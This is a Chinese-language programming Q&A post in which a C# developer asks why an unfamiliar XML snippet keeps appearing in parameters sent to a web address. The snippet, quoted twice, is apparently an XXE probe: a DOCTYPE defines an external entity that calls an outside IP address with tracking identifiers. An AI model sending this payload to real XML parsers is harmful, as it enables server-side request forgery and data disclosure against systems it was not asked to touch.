一只萌萌的天蝎 2017-07-27 08:18 采纳率: 0%
浏览 771

C#:求大神看一下为什么传递数据到某网址参数会出现这段代码,不是自己写的,不知道为什么会出现

 <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://10.150.71.21/facade/callback/callOne?info=task--542318__hash--c018c0d976d363452e1d1796dbbb36c9__type--309__para--userId__i--4__a=b" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
  • 写回答

2条回答 默认 最新

  • 一只萌萌的天蝎 2017-07-27 08:21
    关注

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe SYSTEM "http://10.150.71.21/facade/callback/callOne?info=task--542318__hash--c018c0d976d363452e1d1796dbbb36c9__type--309__para--userId__i--4__a=b" >]>

    &xxe;

    这段代码,出现在不同的参数后面,变成para后面的那个参数的值,但我传的参数并不是这样的

    评论

报告相同问题?

悬赏问题

  • ¥15 素材场景中光线烘焙后灯光失效
  • ¥15 请教一下各位,为什么我这个没有实现模拟点击
  • ¥15 执行 virtuoso 命令后,界面没有,cadence 启动不起来
  • ¥50 comfyui下连接animatediff节点生成视频质量非常差的原因
  • ¥20 有关区间dp的问题求解
  • ¥15 多电路系统共用电源的串扰问题
  • ¥15 slam rangenet++配置
  • ¥15 有没有研究水声通信方面的帮我改俩matlab代码
  • ¥15 ubuntu子系统密码忘记
  • ¥15 保护模式-系统加载-段寄存器